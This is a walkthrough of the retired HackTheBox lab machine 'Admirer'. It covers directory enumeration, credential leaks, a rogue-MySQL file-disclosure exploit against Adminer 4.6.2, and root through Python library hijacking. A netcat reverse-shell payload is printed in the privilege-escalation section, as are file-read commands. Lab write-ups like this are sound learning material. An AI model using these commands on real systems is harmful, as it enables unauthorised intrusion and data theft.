Admirer is a retired vulnerable Linux machine available from HackTheBox. The machine makers are polarbearer & GibParadox, thank you. It has an Easy difficulty with a rating of 5.3 out of 10. This is a great box. I really enjoy it.
Kali Linux is used to carry out the enumeration, exploitation and privilege escalation. The goal is to obtain root shell together with both user & root flags.
Exploitation Summary (tap to reveal)
- Vulnerability: Credentials exposure and local file exposure of Adminer version 4.6.2.
- Explanation: FTP credentials are exposed from website that leads to access of Adminer that is vulnerable to file disclosure using a rogue MySql server
- Vulnerability: Python library hijacking
- Explanation: sudo capability to execute python script with environment preservation. This ability enables python library hijacking.
nmap -p- -A -T4 10.10.10.187
TCP 21: vsftpd 3.0.3 TCP 22: OpenSSH 7.4p1 TCP 80: Apache httpd 2.4.25
A quick check on FTP service indicates that anonymous login is not available. Credentials are needed to use the FTP service.
Let’s look at the website at port 80.
The website features some nice images. Other than that, there isn’t much other interesting information. But nmap scan shows that robots.txt file exists. Apparently, there exists a folder /admin-dir
Looks like we may be able to find some contact information and credentials. However, accessing the folder /admin-dir receives a 403 Forbidden error.
Although accessing the folder itself is forbidden, we can still perform directory scan using tools such as gobuster:
gobuster dir -u http://10.10.10.187:80/admin-dir -w /usr/share/seclists/Discovery/Web-Content/common.txt -e -k -l -s "200,204,301,302,307" -x "txt,html,php"
Nice, we find a file contacts.txt. Checking out the file reveals some email addresses.
That’s great. We have a bunch of email addresses and names, including waldo we discovered earlier at robots.txt. I then tried out all the names, emails and different combinations to see if I can find a valid user at the FTP service. Unfortunately, all returns 530 Permission denied error.
I’m kind of stuck here without additional leads. So I try some random guesses based on hints received so far from robots.txt & contacts.txt but am not getting any further.
I then conduct more fuzzing scans and gobuster scans using different word lists and finally land on another file
gobuster dir -u http://10.10.10.187:80/admin-dir -w /usr/share/wordlists/dirb/big.txt -e -k -l -s "200,204,301,302,307" -x "txt,html,php"
Found another file /credentials.txt. Hm, I am pretty sure I tried creds.txt & credentials.txt when I was guessing some files based on hints from robots.txt. Maybe some typos back then. Oh well, more time spent but finally find the file that looks promising:
Great! There are credentials for FTP service. Let’s check it out. Note that I also tried these passwords with different name combinations on SSH but none works.
There are 2 files dump.sql & html.tar.gz and I downloaded them. dump.sql does not provide additional hints/information. So I proceed to extract files from the tar file:
tar xzvf html.tar.gz
These files look familiar and seem like a backup of the current website. Upon exploring the fiiles, I found some additional credentials from the highlighted files:
Some more credentials obtained. Tried them on SSH without success. Oh well, we found so many credentials but most of them don’t seem to work. And we are stuck again.
All hope is not lost yet. The website backup actually shows us 2 more directories for enumeration: /utility-scripts and /w4ld0s_s3cr3t_dir. Folder /w4ld0s_s3cr3t_dir gives 404 File not found error while /utility-scripts gives 403 Forbidden error (same as folder /admin-dir). That means /utility-scripts exists. So let’s do gobuster search on it:
gobuster dir -u http://10.10.10.187:80/utility-scripts/ -w /usr/share/wordlists/dirb/big.txt -e -k -l -s "200,204,301,302,307,401,403" -x "txt,html,php"
All right! We find yet another file at /utility-scripts/adminer.php.
Adminer is a database management tool allowing you to connect to different databases.
I am excited and can’t wait to use the credentials to get on. Noop. Oh man, none of the credentials works!! Ah, we seem to be so close. Yet seem so far!
Let’s Google any vulnerabilities of Adminer:
We quickly find that Adminer version 4.6.2 (exactly the version we have) has a file disclosure vulnerability. By reading through the article plus some others, it’s possible to reveal content of files in the target machine by exploiting the vulnerability.
We would need to setup and configure a rogue MySql server in kali, connect to our own MySql server using Adminer and then use LOAD DATA INFILE command to send file content to our MySql server.
Setup MySql server at Kali
Configure & start MySql server
Be default, MySql should already be installed with Kali. But it is set to listen locally and would not allow connection remotely. We will modify the config file, change the bind-address from 127.0.0.1 to 0.0.0.0 to enable remote connections. And then start the server.
sed "s/127.0.0.1/0.0.0.0/g" -i /etc/mysql/mariadb.conf.d/50-server.cnf service mysql start
Use MySql cli to create a MySql user
Start MySql cli by running command mysql. Then create user as follow:
CREATE USER 'hacker'@'%' IDENTIFIED BY 'hacker123'; GRANT ALL PRIVILEGES ON *.* to 'hacker'@'%';
This will create the user needed with full privileges.
Create temp table
Next we create a temporarily database and table to receive the file contents:
CREATE DATABASE rogueDB; USE rogueDB; CREATE TABLE content (data TEXT);
Connect to MySql
Go back to the Adminer login page and enter the MySql information. Adminer should now be connected to our own MySql server.
Nice and connected. If your MySql is not setup correctly, you will encounter errors such as Connection Refused or MySql server has gone away.
Retrieving local files
Now let’s try to retrieve some local files:
- click on SQL command
- type LOAD DATA LOCAL INFILE ‘/etc/password’ INTO TABLE content
- click Execute
Oops, we encounter open_basedir restriction that prohibits us from retrieving the file. That means we are not free to load any files but only files within the specified base directory and its sub-directories.
But that’s ok. If we refer back to where we found couple credentials from web pages, that’s index.php and utility-scripts/db_admin.php. Let’s try them. It turns out db_admin.php does not exist but we are able to retrieve index.php file.
LOAD DATA LOCAL INFILE '../index.php' INTO TABLE content
Cool. Now’s let look at the content:
select * from content;
Awesome, we found yet another set of credentials for user waldo. With this credentials, I am able to login as waldo using ssh!
Finally, gained access as waldo! And let’s take the flag:
Let’s check sudo capability:
We can run the script admin_tasks.sh with SETENV privilege. SETENV privilege allows us to prevent environment reset (env_reset) and preserve our environment. Let’s check out the script to see if we can take advantage of the SETENV privilege.
The script has an option (option 6) to perform web backup by running a python script backup.py.
The backup python script is using library shutil to perform archive. All right! We can utilize SETENV privilege to override $PYTHONPATH environment variable to point to /tmp and then hijack the python execution by providing our own version of shutil.py at /tmp folder. When we run the script to perform web backup and backup.py is executed, it will try to load the shutil module from our version instead and results in custom code execution.
Let’s create /tmp/shutil.py with the following code:
os.system('nc 10.10.14.35 4000 -e /bin/bash')
Now start netcat process listening to port 4000
nc -nvlp 4000
And finally execute the admin_tasks.sh script using sudo:
sudo -u root -E PYTHONPATH=/tmp "/opt/scripts/admin_tasks.sh" 6
Root shell obtained! And let’s fetch the root flag to finish the box!